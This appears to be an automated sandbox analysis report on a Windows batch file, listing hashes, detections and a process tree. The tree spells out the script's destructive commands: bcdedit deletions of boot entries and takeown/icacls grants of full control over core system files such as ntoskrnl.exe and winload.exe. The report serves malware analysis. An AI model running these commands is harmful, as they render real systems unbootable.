cd59f4a4ac77d08599f202528bda8b2f9752809648e3b0e3915db5c241b1528f

Analysis

max time kernel
18s
max time network
19s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
06/07/2024, 12:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Textdokument (neu).bat
Size 2KB
Sample240706-n8pphs1arc
SHA256 cd59f4a4ac77d08599f202528bda8b2f9752809648e3b0e3915db5c241b1528f
MD5 7235405c1ffe8a3bc437fef795ba3a6c
SHA1 d657c8b91888b0d34e97fcb2df0412fbcbb90b86
SHA512 0b496fb1a920d6af6093ee61b2fc8d7192f6743fe8b674cc0a968279a5757e38a6425da0269d7eee227b4bba2412d3774ac7fab35e0739d3fb31db69d43bddac
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 20 IoCs

exploit

pid	Process
2012	takeown.exe
2068	takeown.exe
2824	takeown.exe
1672	takeown.exe
2532	icacls.exe
2768	icacls.exe
3056	takeown.exe
2508	icacls.exe
2932	icacls.exe
2840	icacls.exe
2976	icacls.exe
820	takeown.exe
2904	icacls.exe
2672	icacls.exe
2432	takeown.exe
3040	takeown.exe
2212	takeown.exe
2320	takeown.exe
2616	icacls.exe
836	icacls.exe

Modifies file permissions 1 TTPs 20 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2824	takeown.exe
2508	icacls.exe
2840	icacls.exe
2012	takeown.exe
820	takeown.exe
3040	takeown.exe
3056	takeown.exe
2976	icacls.exe
2068	takeown.exe
2532	icacls.exe
2616	icacls.exe
2932	icacls.exe
2212	takeown.exe
1672	takeown.exe
2672	icacls.exe
2768	icacls.exe
2432	takeown.exe
2320	takeown.exe
2904	icacls.exe
836	icacls.exe

Modifies boot configuration data using bcdedit 2 IoCs

pid	Process
1844	bcdedit.exe
1012	bcdedit.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2012	takeown.exe
Token: SeTakeOwnershipPrivilege	820	takeown.exe
Token: SeTakeOwnershipPrivilege	2432	takeown.exe
Token: SeTakeOwnershipPrivilege	3040	takeown.exe
Token: SeTakeOwnershipPrivilege	3056	takeown.exe
Token: SeTakeOwnershipPrivilege	2068	takeown.exe
Token: SeTakeOwnershipPrivilege	2212	takeown.exe
Token: SeTakeOwnershipPrivilege	1672	takeown.exe
Token: SeTakeOwnershipPrivilege	2824	takeown.exe
Token: SeTakeOwnershipPrivilege	2320	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 1844	1708	cmd.exe	31
PID 1708 wrote to memory of 1844	1708	cmd.exe	31
PID 1708 wrote to memory of 1844	1708	cmd.exe	31
PID 1708 wrote to memory of 1012	1708	cmd.exe	32
PID 1708 wrote to memory of 1012	1708	cmd.exe	32
PID 1708 wrote to memory of 1012	1708	cmd.exe	32
PID 1708 wrote to memory of 2012	1708	cmd.exe	33
PID 1708 wrote to memory of 2012	1708	cmd.exe	33
PID 1708 wrote to memory of 2012	1708	cmd.exe	33
PID 1708 wrote to memory of 820	1708	cmd.exe	34
PID 1708 wrote to memory of 820	1708	cmd.exe	34
PID 1708 wrote to memory of 820	1708	cmd.exe	34
PID 1708 wrote to memory of 2432	1708	cmd.exe	35
PID 1708 wrote to memory of 2432	1708	cmd.exe	35
PID 1708 wrote to memory of 2432	1708	cmd.exe	35
PID 1708 wrote to memory of 3040	1708	cmd.exe	36
PID 1708 wrote to memory of 3040	1708	cmd.exe	36
PID 1708 wrote to memory of 3040	1708	cmd.exe	36
PID 1708 wrote to memory of 3056	1708	cmd.exe	37
PID 1708 wrote to memory of 3056	1708	cmd.exe	37
PID 1708 wrote to memory of 3056	1708	cmd.exe	37
PID 1708 wrote to memory of 2068	1708	cmd.exe	38
PID 1708 wrote to memory of 2068	1708	cmd.exe	38
PID 1708 wrote to memory of 2068	1708	cmd.exe	38
PID 1708 wrote to memory of 2212	1708	cmd.exe	39
PID 1708 wrote to memory of 2212	1708	cmd.exe	39
PID 1708 wrote to memory of 2212	1708	cmd.exe	39
PID 1708 wrote to memory of 1672	1708	cmd.exe	40
PID 1708 wrote to memory of 1672	1708	cmd.exe	40
PID 1708 wrote to memory of 1672	1708	cmd.exe	40
PID 1708 wrote to memory of 2824	1708	cmd.exe	41
PID 1708 wrote to memory of 2824	1708	cmd.exe	41
PID 1708 wrote to memory of 2824	1708	cmd.exe	41
PID 1708 wrote to memory of 2320	1708	cmd.exe	42
PID 1708 wrote to memory of 2320	1708	cmd.exe	42
PID 1708 wrote to memory of 2320	1708	cmd.exe	42
PID 1708 wrote to memory of 2036	1708	cmd.exe	43
PID 1708 wrote to memory of 2036	1708	cmd.exe	43
PID 1708 wrote to memory of 2036	1708	cmd.exe	43
PID 1708 wrote to memory of 2608	1708	cmd.exe	44
PID 1708 wrote to memory of 2608	1708	cmd.exe	44
PID 1708 wrote to memory of 2608	1708	cmd.exe	44
PID 1708 wrote to memory of 2152	1708	cmd.exe	45
PID 1708 wrote to memory of 2152	1708	cmd.exe	45
PID 1708 wrote to memory of 2152	1708	cmd.exe	45
PID 1708 wrote to memory of 2644	1708	cmd.exe	46
PID 1708 wrote to memory of 2644	1708	cmd.exe	46
PID 1708 wrote to memory of 2644	1708	cmd.exe	46
PID 1708 wrote to memory of 2704	1708	cmd.exe	47
PID 1708 wrote to memory of 2704	1708	cmd.exe	47
PID 1708 wrote to memory of 2704	1708	cmd.exe	47
PID 1708 wrote to memory of 2720	1708	cmd.exe	48
PID 1708 wrote to memory of 2720	1708	cmd.exe	48
PID 1708 wrote to memory of 2720	1708	cmd.exe	48
PID 1708 wrote to memory of 2756	1708	cmd.exe	49
PID 1708 wrote to memory of 2756	1708	cmd.exe	49
PID 1708 wrote to memory of 2756	1708	cmd.exe	49
PID 1708 wrote to memory of 2784	1708	cmd.exe	50
PID 1708 wrote to memory of 2784	1708	cmd.exe	50
PID 1708 wrote to memory of 2784	1708	cmd.exe	50
PID 1708 wrote to memory of 2712	1708	cmd.exe	51
PID 1708 wrote to memory of 2712	1708	cmd.exe	51
PID 1708 wrote to memory of 2712	1708	cmd.exe	51
PID 1708 wrote to memory of 2660	1708	cmd.exe	52

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Textdokument (neu).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1844
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {default}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1012
- C:\Windows\system32\takeown.exe
  takeown /f C:\ntldr
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2012
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\hal.dll
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:820
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\ntoskrnl.exe
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2432
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\winresume.exe
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\winload.exe
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3056
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\drivers\acpi.sys
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2068
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\drivers\classpnp.sys
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\drivers\disk.sys
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\drivers\ndis.sys
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\sysnative\drivers\ntfs.sys
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2036
- C:\Windows\system32\cacls.exe
  cacls C:\ntldr /g ""everyone"":F
  2⤵
  PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2152
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\hal.dll /g ""everyone"":F
  2⤵
  PID:2644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2704
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\ntoskrnl.exe /g ""everyone"":F
  2⤵
  PID:2720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2756
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\winresume.exe /g ""everyone"":F
  2⤵
  PID:2784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2712
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\winload.exe /g ""everyone"":F
  2⤵
  PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2612
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\drivers\acpi.sys /g ""everyone"":F
  2⤵
  PID:2816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2684
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\drivers\classpnp.sys
  2⤵
  PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:1904
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\drivers\disk.sys /g ""everyone"":F
  2⤵
  PID:2992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2780
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\drivers\ndis.sys /g ""everyone"":F
  2⤵
  PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo y "
  2⤵
  PID:2196
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\sysnative\drivers\ntfs.sys /g ""everyone"":F
  2⤵
  PID:2912
- C:\Windows\system32\icacls.exe
  icacls C:\ntldr /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2904
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\hal.dll /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2532
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\ntoskrnl.exe /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2672
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\winresume.exe /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2616
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\winload.exe /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2508
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\drivers\acpi.sys /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2932
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\drivers\classpnp.sys /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2840
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\drivers\disk.sys /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2976
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\drivers\ndis.sys /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:836
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\sysnative\drivers\ntfs.sys /grant ""everyone"":F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads